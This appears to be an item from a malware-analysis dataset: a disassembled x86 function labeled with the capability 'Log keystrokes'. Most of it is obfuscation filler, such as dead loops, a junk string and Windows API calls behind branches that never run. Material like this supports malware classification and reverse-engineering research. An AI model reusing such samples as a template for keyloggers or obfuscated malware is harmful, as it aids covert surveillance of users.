Function at 0x427d2e
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c67a1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x427e85
mov dword [ebp - 0x38], 0x4d1
mov dword [ebp - 0x3c], str.ncnsgrwyz_bwo_qsncudguv_xzvblwww_xwwxpivu_wehqo_bhovrkq_eleq_xwcki_mmyowb_wchqcaett_ttpu
cmp dword [ebp - 0x38], 0x64a
jle 0x427e0e
push 0x300
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
and dword [ebp - 0x2c], 0
jmp 0x427d91
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x6236
jge 0x427e0e
and dword [ebp - 0x20], 0
jmp 0x427da7
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x34de
jge 0x427e09
and dword [ebp - 0x24], 0
jmp 0x427dbd
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x507e
jge 0x427e07
and dword [ebp - 0x28], 0
jmp 0x427dd3
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x7bc4
jge 0x427e05
mov eax, dword [ebp - 0x20]
cdq
idiv dword [ebp - 0x24]
imul edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
sub eax, edx
cdq
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
push dword [ebp - 0x54]
push dword [ebp - 0x58]
mov ecx, 0xab95b8
call fcn.00452129
jmp 0x427dcc
jmp 0x427db6
jmp 0x427da0
jmp 0x427d8a
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x48], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x38], 0x408
jge 0x427e2e
mov edx, dword [ebp - 0x3c]
mov ecx, 0xab95b8
call fcn.00453acf
jmp 0x427e4a
or dword [ebp - 4], 0xffffffff
jmp 0x427e54
mov eax, dword [ebp + 8]
mov dword [ebp - 0x44], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x40], eax
push 1
push dword [ebp - 0x40]
push dword [ebp - 0x44]
push dword [ebp - 0x48]
mov eax, dword [ebp - 0x4c]
movzx eax, byte [eax]
push eax
call fcn.00427f93
add esp, 0x14
jmp 0x427f82
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x30], 0
jmp 0x427ea2
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x427eb5
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x60], 0xfffffff9
jmp 0x427e9b
mov dword [ebp - 0x1c], 0
jmp 0x427ec5
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jg 0x427f70
mov dword [ebp - 0x18], 0x816210b9
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp - 0x11]
test eax, eax
je 0x427eee
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [ebp - 0x18], 0
jmp 0x427efe
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jg 0x427f6b
mov dword [ebp - 0x34], 1
mov byte [ebp - 0x12], 0
movzx eax, byte [ebp - 0x12]
test eax, eax
je 0x427f23
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
mov dword [ebp - 0x34], 0
jmp 0x427f33
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jg 0x427f69
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x60]
mov dword [ebp + ecx*4 - 0x60], eax
mov byte [ebp - 0x13], 0
movzx eax, byte [ebp - 0x13]
test eax, eax
je 0x427f67
push 0x12b9
push 0
push 0x24a7
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
jmp 0x427f2c
jmp 0x427ef7
jmp 0x427ebe
push 0x7770
push dword [ebp - 0x50]
push 0
call fcn.00408a89
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret